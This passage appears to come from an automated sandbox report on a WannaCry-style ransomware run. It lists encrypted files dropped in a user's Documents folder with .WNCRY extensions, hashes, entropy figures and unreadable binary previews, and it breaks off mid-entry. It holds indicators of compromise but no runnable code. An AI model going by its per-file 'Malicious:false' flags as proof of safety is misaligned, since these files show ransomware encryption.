                                                                                                                                                                              SSDEEP:24:bkUHkymt79H+ytiWDeeqvI90cCSrnlrW6PbQFw14u5Bzvo2yPpzXqPrKkKCvX7Kn:bkUHk5F9H+lWC9veCSrlS6kFwrLzo2aH
                                                                                                                                                                              MD5:722F42314A0236D2460B50D95BEA5BA0
                                                                                                                                                                              SHA1:BD0E3F6058AAF8EE8B47A43869EB3718988726D7
                                                                                                                                                                              SHA-256:50223C5F20774052014E8F1F0DB787A7EA11CE11095944A1A7871B963BD29807
                                                                                                                                                                              SHA-512:FCD885597C04D657799BFD500E91FC15041109094D1E94451B0A603E8C474192C0D386E28A966CE42FBF9991D810CF10A468633413703A6EB2C48E124D222DB5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....A..'.e.N.........Ew!........>`.ZC..'r..o'F.Z.K..".:c S.~.t.}..P'..Uq.....\.D..=O....G..*|s<.r.i...8..[...Hu.....8"9..<..:q"1o..ZH....;.v..YJ7n......-..gnF...<1e.z..L.^.....q...."z....#F....|M..G:..I=.3.w.Os..3'aNg... ...&b.a..F.".x|..0.H|.................=..e.e...@t..].k..l.....r...~...w".o;.......A..7R'..4.bh..c.W.|Jn...A'....Pb....t?.=Y.a.pZ...u..N.... V.{.V.V..Q!&g.`. 1.c.sZ.J...~./]V).d.O...]...-..H)6.E)./..u...I..:.<.Yf.......W..L.....IJ.T...hNX{...D\DJ,..d....f../.X.T.(..-r...n..#.>...wt......_.....v.4.._.I.H.Gm.t%g..c.z...:%:$.......n)...8.6.....D........DFYj..v']$d.:..L........-...L.N.dJ`.B.)i.|.%..G.>....(k.^.W.y.C..:..]...k....I.k...!4=?.7...-[...-.}....~.9.pF..4$.=M....N......:...%.CB3.....l^......Jx..u...)..q.._...,q..VPm.m....j..p....e..`...7|....G...!..5...}mF.....1q....!>A..xwf*N1P....5D.YW...z./x3}...mf.CM..AV.O.<j>..m........u...F...!>x15....2.].E1W=..|.O.x..._..@<.5~.h4..-.B..V....~#.H.E.[~.7.ov.c.q.@.|..o.

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\EIVQSAOTAQ.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8458981105200625
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkUHkymt79H+ytiWDeeqvI90cCSrnlrW6PbQFw14u5Bzvo2yPpzXqPrKkKCvX7Kn:bkUHk5F9H+lWC9veCSrlS6kFwrLzo2aH
                                                                                                                                                                              MD5:722F42314A0236D2460B50D95BEA5BA0
                                                                                                                                                                              SHA1:BD0E3F6058AAF8EE8B47A43869EB3718988726D7
                                                                                                                                                                              SHA-256:50223C5F20774052014E8F1F0DB787A7EA11CE11095944A1A7871B963BD29807
                                                                                                                                                                              SHA-512:FCD885597C04D657799BFD500E91FC15041109094D1E94451B0A603E8C474192C0D386E28A966CE42FBF9991D810CF10A468633413703A6EB2C48E124D222DB5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....A..'.e.N.........Ew!........>`.ZC..'r..o'F.Z.K..".:c S.~.t.}..P'..Uq.....\.D..=O....G..*|s<.r.i...8..[...Hu.....8"9..<..:q"1o..ZH....;.v..YJ7n......-..gnF...<1e.z..L.^.....q...."z....#F....|M..G:..I=.3.w.Os..3'aNg... ...&b.a..F.".x|..0.H|.................=..e.e...@t..].k..l.....r...~...w".o;.......A..7R'..4.bh..c.W.|Jn...A'....Pb....t?.=Y.a.pZ...u..N.... V.{.V.V..Q!&g.`. 1.c.sZ.J...~./]V).d.O...]...-..H)6.E)./..u...I..:.<.Yf.......W..L.....IJ.T...hNX{...D\DJ,..d....f../.X.T.(..-r...n..#.>...wt......_.....v.4.._.I.H.Gm.t%g..c.z...:%:$.......n)...8.6.....D........DFYj..v']$d.:..L........-...L.N.dJ`.B.)i.|.%..G.>....(k.^.W.y.C..:..]...k....I.k...!4=?.7...-[...-.}....~.9.pF..4$.=M....N......:...%.CB3.....l^......Jx..u...)..q.._...,q..VPm.m....j..p....e..`...7|....G...!..5...}mF.....1q....!>A..xwf*N1P....5D.YW...z./x3}...mf.CM..AV.O.<j>..m........u...F...!>x15....2.].E1W=..|.O.x..._..@<.5~.h4..-.B..V....~#.H.E.[~.7.ov.c.q.@.|..o.

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\EOWRVPQCCS.pdf

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.825796075064418
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ZEQZWHu8zjUq2W6ekiZVkrrM/3pZtxVSY7XwfPkwbw+tMt:6JHJjUqr6zpXE/pSY7XScwU+tMt
                                                                                                                                                                              MD5:E2222EBB6302FFC4BF842B1365603AB6
                                                                                                                                                                              SHA1:D8ED55A039C57D2749B2F3FFAB148CBEDF4D02DB
                                                                                                                                                                              SHA-256:CD9E689118AC862D8E91136C4AD95E6F208D9D0810938C6CA26FBE3084EAB5E9
                                                                                                                                                                              SHA-512:CC2E5B65750970BC15999872EBE936EB4CBF2B8877B88E9A0D241BA907EF71820655785491B7E89B498E09C28ED0D2C7CFC3D086F747A45C03DFA8754F339537
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..GL.../.y..r.X.wQ+.._.-.j?..\..7...?)....p$8.m?.@...$....B..4>.........'..hSP!oKM....q.....s...!...ja....8U..m...o.*......'...e..-.......s...sr..x.;. .p69.G.B.{.'.L.x...1.....S).3.*..4{L__..y.....K..A.o...m....=.#'.@...d...M.r......b.P.a...e.0..*)....N?..}.m.......M.........']...(....nP ..a..t K.m..AP%^....H.NT..In;A6.|...... ....}.....M-6~..K......Mq3[.^..O..k..|K...V4..:.I...9,..F.^..,.*....5A.....@....svc..41.y...8t.a..s?E.B.....m..Z.S..e.;........~.#p..2.....8H..r..y..s..v=$A.W....`.6.s.6...w.5.'...k....^2R..`G.."..Q..7A......I.2.$|._..ft<.-4....5Z"6RY..(..z.......<o.......,.F,.?..H..W....g!,Mf...v.qX...&..%93.'....D|.z.z.....YK.w....i.ak..j/X.R.J.5:..w\.E..8.WN...4.1...$...f>..#.......O^..R.V.Q.M......x>..YuL."..ch.;7..+W...n..=rV....N.x.=....._S....N.......c...L.[.k_.R...E.J3......\0.c.t...74...k...N..r...6.....U...V^...I.#%......tV...Y.....X...y.i.....tQr.6.o.W.'...5.05..JuPq_.l..7...W...a..........[\3w......h.v..A.j.....`..58...w0.

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\EOWRVPQCCS.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.865959191886183
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkxA0NEO3oS8FXJrk3C3HVpKTbbf+BWUt+hXColByv00GCFN5TDYp:bkxA0gS8niApyqBWq+fSkOjTDYp
                                                                                                                                                                              MD5:F9567B288095FAB2C8F5165E7704CD56
                                                                                                                                                                              SHA1:5412DE8E8EEF0DB94F11EB582AFF6B840F03315C
                                                                                                                                                                              SHA-256:DE3404D9B2747237203AC0AF612D78F8EBB79CAD507DC314AF9E3D2B5AF0D76C
                                                                                                                                                                              SHA-512:BDA3A8DB14C1AE18CAE685D5FFA844E9B22693BC4DFC70005CAB4F2BD1B71466DEF88A5E5EF1C5A49A223E3850861F3E0499DF22629EFD2C3A68C631D16BA477
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......a`....O..L......F.....p.C.>..p|.-.V.wO....LxJ...k._..D.^......c..[..33.97..~..v.p..._..T.Z.:..fS..U...H...-H.9j..)j...,.....[....Qk"8....B....q.(f5.s....Hh..]Lim..-......,....&...<m.R.k.B.}.J.....E...u..oxc...A..U93...qm....h.]v......s6.m.............z?.//F.Fl........'.......?5.E>.8..(..V....8L"1N.../..?&......a.r.w..Q....%4.x.D.._....&.m0.>..oIn....j..z...DQ`...WK..g.k.2..e8Y.m......H.G..s])..P.v1l.-=...8....t6.cR....`...m...P9a......<.q..@a.0^.D..?...<u..js.;.o.>1...kz......+Y3....N.v..2#-.?@j.N..du..l.|.l .*07.W......&..Nb.o.....Sb....A..J..o.....s,.-..e.......Q..8?.[.XJa.>.c....+.Z6..4.JK6....m........o..I8..)....g..... .Z76XO.m.].o:."i]._..D.k8$..Q.r....:}.P..E.7.. ...,..np..?..kjT_.....M.R.S.J.k.p.F..-..4.L2....V]M.R....9...wfa.|....Z.#.......p..~.g......H;.X........\......3G.K.q.z...4.o.G.%.K.5...xCL7u.Y..Y.3;.j)c1.b.+...nl._.....7.*._u\...)Y....#2.$v.P....Gy...H]...X.v.[..;\M.R8.l....!_.v{.....".....H.0.H.

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\EOWRVPQCCS.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.865959191886183
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkxA0NEO3oS8FXJrk3C3HVpKTbbf+BWUt+hXColByv00GCFN5TDYp:bkxA0gS8niApyqBWq+fSkOjTDYp
                                                                                                                                                                              MD5:F9567B288095FAB2C8F5165E7704CD56
                                                                                                                                                                              SHA1:5412DE8E8EEF0DB94F11EB582AFF6B840F03315C
                                                                                                                                                                              SHA-256:DE3404D9B2747237203AC0AF612D78F8EBB79CAD507DC314AF9E3D2B5AF0D76C
                                                                                                                                                                              SHA-512:BDA3A8DB14C1AE18CAE685D5FFA844E9B22693BC4DFC70005CAB4F2BD1B71466DEF88A5E5EF1C5A49A223E3850861F3E0499DF22629EFD2C3A68C631D16BA477
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......a`....O..L......F.....p.C.>..p|.-.V.wO....LxJ...k._..D.^......c..[..33.97..~..v.p..._..T.Z.:..fS..U...H...-H.9j..)j...,.....[....Qk"8....B....q.(f5.s....Hh..]Lim..-......,....&...<m.R.k.B.}.J.....E...u..oxc...A..U93...qm....h.]v......s6.m.............z?.//F.Fl........'.......?5.E>.8..(..V....8L"1N.../..?&......a.r.w..Q....%4.x.D.._....&.m0.>..oIn....j..z...DQ`...WK..g.k.2..e8Y.m......H.G..s])..P.v1l.-=...8....t6.cR....`...m...P9a......<.q..@a.0^.D..?...<u..js.;.o.>1...kz......+Y3....N.v..2#-.?@j.N..du..l.|.l .*07.W......&..Nb.o.....Sb....A..J..o.....s,.-..e.......Q..8?.[.XJa.>.c....+.Z6..4.JK6....m........o..I8..)....g..... .Z76XO.m.].o:."i]._..D.k8$..Q.r....:}.P..E.7.. ...,..np..?..kjT_.....M.R.S.J.k.p.F..-..4.L2....V]M.R....9...wfa.|....Z.#.......p..~.g......H;.X........\......3G.K.q.z...4.o.G.%.K.5...xCL7u.Y..Y.3;.j)c1.b.+...nl._.....7.*._u\...)Y....#2.$v.P....Gy...H]...X.v.[..;\M.R8.l....!_.v{.....".....H.0.H.

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\GIGIYTFFYT.png

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.804227650233068
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:GHka/wYpAvzWqUEJ2CbiQS3tgXBtEkF09rmjR5fftIIecFk:GHZYJ+IJ/S3tgRtB+Bmj5IEFk
                                                                                                                                                                              MD5:10E98A732D7BE885F7AF96CD973E85A5
                                                                                                                                                                              SHA1:2C49DEAD0D538D6387B8C8F5AD0987240E051EBC
                                                                                                                                                                              SHA-256:B42817C070B5D99DFC9B1B5F9050BAF764FCA4DDF7686A38DADBDD6DE7AF3083
                                                                                                                                                                              SHA-512:268A851EABC0074EB16C13BC400C0C79BD0975FF974DEE33354DCEADB313655399E458BE2C730A4796ADDE3B5E090441814775AB928D7F4157E9B8A56EE784C2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..F.[{z..2UDD..K.t-..).W.Z.......~.{.fu..j.S70..?3...OcHe!.|;..i.m..Y Z6...*.S..R..].&.....]......;&......C.YGz..A..<.*.o..BR..{8C)ZM?.p..^..6..&T..h..u..yH+1..f.D...t.P |....8?,.~_X.......B..).w3....j.in&^=./WH.B.-.h~.7.iR...36..>..M9e....6\..(........PB$R.....4.6.l.\.e.X....E]r.J!a...u.x.'...e^......%.~..5h0(^z..q........w_..*.....*T(.Y7..$Z(...m....Om%..l.2I.|`.}...cW........[..Cg......NY!"*....p....+......j.-..y.X.....*I.......E..s.....Za6..bub.....^...ix^.x4....... B...S8@I....\.3.&.!.'|E..D..W.@Tj*W.V$Qg.E..7..H..d....K.:.x.3.._Zl.m...=..E.5s.6,1.....c=.d...+...n.f.....&..f....&.d..1.s...sg....N.Ws=.J.......-==.@..u..J._$.....V._.N...>f-....X.<1.. ..Xm.p......R..i.....L........V}2.....b..*.)...v_a........../..|.J.TK*.........}-D.u..lY...V..$yEK.o...-..]m'....8hv.....t../.(5..."#.)h....F...Dy.....3{.y.17o...q....S..S1.*6..^K|.M!..m...a.yP.}8l..N...~AL.8...1.na....(....-.....8.{.-..b.@...1.W3.{]..l....(..^.X.D...5.b..F..q.9i.q.

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\GIGIYTFFYT.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853493312391116
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkLy0yChscVBzjKfnOnOcmfWsUQ6aHVNh1Lzm09m6Qhd2x1XWM7cqghXE:bkL8cz4sLPviVNh1LDm6QhiGMylE
                                                                                                                                                                              MD5:18FC7BEF71F84DDA9FC48C821B574210
                                                                                                                                                                              SHA1:16A965C16DBE890323C124A28E6FA1C84F101158
                                                                                                                                                                              SHA-256:3773A4D4CA716539EC488BB87D199311F15A66E11920558CC2A66EBB6DB49B11
                                                                                                                                                                              SHA-512:8993D2CE740C93A063D45C8D2B491C77BB733AFA12DA635ADB95619535ED32D19DB1A06AE258E8E83DE05885DC94A1C60CD2C2011E6832BE7879EF0B2F85D2E4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....X......RqA.{.h..]....KVS...........E.R..$0.hJ..........9..b#c;........ge...v.......o....*.}.gC...T...vv@.U...p.D.L.....]..C#..(.A...#....u....U^]...E.?...h..?..v.)..q.....k.s...~E38TP.T.?..[U.3..c..`ZZ.{.......O3..<.F.]..,y.|.7..i... #.H..w................c*....d..J.....0......+X.\....IE]KZR....(i...=.....=..kdG..bZ...J...nI7..D.U.`..E..!\-..- T...5.....fI......1..A..V.D...."bqa...8..o....kp/...0.1..1..Z...X...XQD._g(......._.Z......j.C.N\.&...y...5L;..V.\-....|......n.dK..W\.t.E...'.....w...X.je...\..bf.{..8.sX.._....v..{.=.I............Y...o...A.E...{.O.u.i..i..;..(n.v.c......sk~..eVT.A....;x.s....:.+r-s..h....IX...>....-.......h\..8.]G...g.c.vfja.B.<...R.X..>d..f........f..6k...LG=..f..<...m..qI...ql...;j..z..GZ..#.[.d..j..%.`m{...$>..0...Q]..d..\.D.&......N.SC.)../..].Z|......F&......Fr.........g..*..y.....x2.83....hJ?.ho]y...o.c._.......Ni:..z.d2....AB{...89l!IZ.(p2.2x.P...@....(....(O!<...^T.6.#w....-..zo}..s!:

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\GIGIYTFFYT.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853493312391116
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkLy0yChscVBzjKfnOnOcmfWsUQ6aHVNh1Lzm09m6Qhd2x1XWM7cqghXE:bkL8cz4sLPviVNh1LDm6QhiGMylE
                                                                                                                                                                              MD5:18FC7BEF71F84DDA9FC48C821B574210
                                                                                                                                                                              SHA1:16A965C16DBE890323C124A28E6FA1C84F101158
                                                                                                                                                                              SHA-256:3773A4D4CA716539EC488BB87D199311F15A66E11920558CC2A66EBB6DB49B11
                                                                                                                                                                              SHA-512:8993D2CE740C93A063D45C8D2B491C77BB733AFA12DA635ADB95619535ED32D19DB1A06AE258E8E83DE05885DC94A1C60CD2C2011E6832BE7879EF0B2F85D2E4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....X......RqA.{.h..]....KVS...........E.R..$0.hJ..........9..b#c;........ge...v.......o....*.}.gC...T...vv@.U...p.D.L.....]..C#..(.A...#....u....U^]...E.?...h..?..v.)..q.....k.s...~E38TP.T.?..[U.3..c..`ZZ.{.......O3..<.F.]..,y.|.7..i... #.H..w................c*....d..J.....0......+X.\....IE]KZR....(i...=.....=..kdG..bZ...J...nI7..D.U.`..E..!\-..- T...5.....fI......1..A..V.D...."bqa...8..o....kp/...0.1..1..Z...X...XQD._g(......._.Z......j.C.N\.&...y...5L;..V.\-....|......n.dK..W\.t.E...'.....w...X.je...\..bf.{..8.sX.._....v..{.=.I............Y...o...A.E...{.O.u.i..i..;..(n.v.c......sk~..eVT.A....;x.s....:.+r-s..h....IX...>....-.......h\..8.]G...g.c.vfja.B.<...R.X..>d..f........f..6k...LG=..f..<...m..qI...ql...;j..z..GZ..#.[.d..j..%.`m{...$>..0...Q]..d..\.D.&......N.SC.)../..].Z|......F&......Fr.........g..*..y.....x2.83....hJ?.ho]y...o.c._.......Ni:..z.d2....AB{...89l!IZ.(p2.2x.P...@....(....(O!<...^T.6.#w....-..zo}..s!:

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\GRXZDKKVDB.docx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.834818235131368
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:E9EK67eRxNVpmiM82/JILiItJ2sdpkeA/muovj+:E9R67yTBtE+/Hke3vj+
                                                                                                                                                                              MD5:735FE94869ACCFC66E36E4A572100F9F
                                                                                                                                                                              SHA1:95D46E60826FA2521B84CD48A69AFA7A8918CC02
                                                                                                                                                                              SHA-256:453D461F94989020D57DE9BD3613B785850952B7F4AA5F88138030C6B12CA019
                                                                                                                                                                              SHA-512:0B8ACB87B714C44299FBA06172CF1A56F23D9203A87BE139B99F3E02CD6D75FFED3E8CCCFE80D2E09CFED6CE5D9762EEEA1BDE696D3C25E72DA1EBD7E3F66D61
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:....)..q3Y.8Ya/.Qb..v.....T0....gs.E....'...+....%.oa....Z&...%..(..=.PC..\..`.U.G.(...d..;vw.U....2.......8[..x.-A.!}5\.J.._T.Lq..........#."b=t.A.:.......>A-..W=.4:.....V..`.v.........M.....v...J~%......I....0..QX.o.X..].4....T.r..Y.Q......fdF..z.."...].Ia..c......V..o..........6DE..%.1B..o.#...f.E....s.F=...,..Q...+doImA.8.HR...-L...7X...r.!...e.<..^...6...Xe_"...(V..5.....z...L|+b..~h.._.J.A..D.w.l.8b.....>{....$]'.(....."x..c....;........@...[....."|H..>...]...g.I.m.p...9.U.....d..C.&..}.e.....v...@pG....,n.>)..:...+..tm.:..H^y..n..P....s"P......f.k...W...@..UFIM\..KjO...8....9F..g.. .HB.AKAD%nm.f>.,.j.}.}....0.{=....AR.U/.....;..N.4l.6...e_%.y:Tcf.Nh.[....T}.p.*.x...&..b....Z..E..SS(...?_^.+.K..................Ic-U.z...l...G...6U..+..np.........a......%.%%...M.m..tB.....1.4........e9...:A..i...3...8.T.".....ctxj.qE...O{X,...+)....5...Q..?....s...&T..j..........GU..^.V..!.l...X.{R.v.#|/...P."}.&..hWR.HG/>.2..=....,..Y..M.@.;_..

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\GRXZDKKVDB.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853027999059179
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk6ju8KAXRA6OjTebZR4SVlh6H1yKzwxPEX8k72oNkmKLsg/twyNsf/9RQIEXm1:bk6j9u8ZR4SVlh64KzwxT8NNuMF31
                                                                                                                                                                              MD5:E4E7482AD0FAA60DE02DD361B8026652
                                                                                                                                                                              SHA1:7815EFAFA33097C1045BAD30D0D5D51920835C2B
                                                                                                                                                                              SHA-256:6DB08B105513019CBF877CA027EE778768E7C6C24F5FC035BD8445DAE539E630
                                                                                                                                                                              SHA-512:1F5D72C4EFBB6407D69599A6399D4D7874F4988055227C83FDE094319186B186E5D6C9E983321D2CF5548F4694DB86E0245B7855E08D60FC648FF53F25D77909
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...."......Eg&.a..S....C.I%.....N.C...2.......[. *.*.'.mK.\...K.V....Q.v..6......u...;~...s..K..}....6.e^.#..k.j...u..X%+..S......]..0.A.g/..l[...<.\.(.%d.X.O.g....0>7l..h.`.9Y,..C,&...>...W..h..G./.8...x.}...6".d.I..U...P?.wIE..Y}.<.Y(4yw2.$.{.$s.... .G..............ji...BO..Hp....V.&..O..A2.B<..".f.9.~.\....&./??.6......R.`...-.l<..+N2.K...p...I....@..(.........F7i...]j..6..=..>..).e5.R.]..Uuw...()<.r...t.;...j&...XoG..,b..n..V.w[...*...p'S#.......v.T..{.G..D.I....Z9.N....K.%..w....&...5.W....{.)P:^m..y..2.9,.;.X.n...?....f.1..J#..>.Ey.d.....pG.Z....p3.j..'..:rdx..Et.U..r...8j....=}.....p.....A...).A..-O$N}....7B'{..?....U....j3.T:..N^....Jg..Z...^./.bU..C].$..A...W....w....B.&j.;...1.9...g...{I..c.&.F;.G.w.\....n.k..l..b8f.:2.r.%X..,...2r.Q.=A......RQ.!Mu......e..N.8ya.*..^.cD.k..1 ......3..)w..%;.....7..2D.{.%y.0.*....W.....gm. l+....T..V$..Zo...c]....-..J3h..nMXcpb..B..^.k.Y..$..'.td(`.u{..$ 2.7.._.z....I.#L.3...X.+.U.4......j o....A.

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\GRXZDKKVDB.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853027999059179
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk6ju8KAXRA6OjTebZR4SVlh6H1yKzwxPEX8k72oNkmKLsg/twyNsf/9RQIEXm1:bk6j9u8ZR4SVlh64KzwxT8NNuMF31
                                                                                                                                                                              MD5:E4E7482AD0FAA60DE02DD361B8026652
                                                                                                                                                                              SHA1:7815EFAFA33097C1045BAD30D0D5D51920835C2B
                                                                                                                                                                              SHA-256:6DB08B105513019CBF877CA027EE778768E7C6C24F5FC035BD8445DAE539E630
                                                                                                                                                                              SHA-512:1F5D72C4EFBB6407D69599A6399D4D7874F4988055227C83FDE094319186B186E5D6C9E983321D2CF5548F4694DB86E0245B7855E08D60FC648FF53F25D77909
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...."......Eg&.a..S....C.I%.....N.C...2.......[. *.*.'.mK.\...K.V....Q.v..6......u...;~...s..K..}....6.e^.#..k.j...u..X%+..S......]..0.A.g/..l[...<.\.(.%d.X.O.g....0>7l..h.`.9Y,..C,&...>...W..h..G./.8...x.}...6".d.I..U...P?.wIE..Y}.<.Y(4yw2.$.{.$s.... .G..............ji...BO..Hp....V.&..O..A2.B<..".f.9.~.\....&./??.6......R.`...-.l<..+N2.K...p...I....@..(.........F7i...]j..6..=..>..).e5.R.]..Uuw...()<.r...t.;...j&...XoG..,b..n..V.w[...*...p'S#.......v.T..{.G..D.I....Z9.N....K.%..w....&...5.W....{.)P:^m..y..2.9,.;.X.n...?....f.1..J#..>.Ey.d.....pG.Z....p3.j..'..:rdx..Et.U..r...8j....=}.....p.....A...).A..-O$N}....7B'{..?....U....j3.T:..N^....Jg..Z...^./.bU..C].$..A...W....w....B.&j.;...1.9...g...{I..c.&.F;.G.w.\....n.k..l..b8f.:2.r.%X..,...2r.Q.=A......RQ.!Mu......e..N.8ya.*..^.cD.k..1 ......3..)w..%;.....7..2D.{.%y.0.*....W.....gm. l+....T..V$..Zo...c]....-..J3h..nMXcpb..B..^.k.Y..$..'.td(`.u{..$ 2.7.._.z....I.#L.3...X.+.U.4......j o....A.

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\PALRGUCVEH.xlsx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.791420064037012
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:Ivt/x5QMGZEgDxp8B73sEsKr9yzbVy6duNQI:IvK9++xQjsuydsGI
                                                                                                                                                                              MD5:AEBE2D028B2FCC5F85CEE45851212460
                                                                                                                                                                              SHA1:0AFD2F687B95D39AA5675C01E07A56C4A38B02FE
                                                                                                                                                                              SHA-256:5F4979662B140158F006615E20FE61960ACAB2BE9B9CF1E5ECBAC7403C90B07C
                                                                                                                                                                              SHA-512:325436F24C4270AE9243E1E51710B139F7CEF6C163106173F0C3D93EFE7DAC33D81357FAA69FDB54D40AC4B4BB1368D4F8CC91AFB9F2EC1B7D0C5577DC9A11C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:#=..4.B......x..G~u..rAC"..x..y..=N....6....]+s.M.cM.=.......Y......L.......l.i..._d.'ry.f.-.88...]..f...n....6..e..b.7.T.c....q..FRa..U.......9........r.....B<.,2...~..........Y....MS..9....,........u&J.\..jE5..A...k.d.F/.Nold.q.....6^L......L...,8#S...?o].].|M.qQ..._..J....I.;\?.9&k..q.0R.@Ol.0~.C_.H.Y.7~..H6..Ir..*6.._..X....d.....x...G.a:........&..l..._..Y............;..........s|.y|..m..$.3:>.$.7*,.....q...._..........[F..l..w.-.6H.,..A..........A)....L......,o..E{D...,....0(U2...........N...SU.;o....._A...@:.G..9.u+Q8...#....!.h..yv.A.D...&...J..^........OW2.:?.....D.(?../..O\.`>y.."&.4...RA...=?.,..I...X...QO....-DH.[.d.O.E*Dm..p.S...N#.G.......(......Y./........"l3..1YcV."P.b._l:..W.\..+......0S|.O..>.@..'.Py.....+>.A..9.......26r....a|X7. .......W6..'.$O...\......N......B....7..@...x@&d.]...x....^.O.D3......r......;.'LH..w....+..."..~.Xe...83.2...*o..........h...O8..9jZ..X....h..n..@..jo.B...Oj!.-.G..V..,.[.A..#..L..vb..Y

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\PALRGUCVEH.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8509434690337985
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkBr8XZdZLGNC2d7BQUXBmOtsEq4UOWcBonP7OVrff+/2vJIrtz:bk9sdZ4d7RXBtsxdOWbP7OVrWeQz
                                                                                                                                                                              MD5:06EFCE0C88CDE2A942CAC950A8768F4E
                                                                                                                                                                              SHA1:36C3DE15CC1E0B0F9BBB311DFBDCA90DEC5DB561
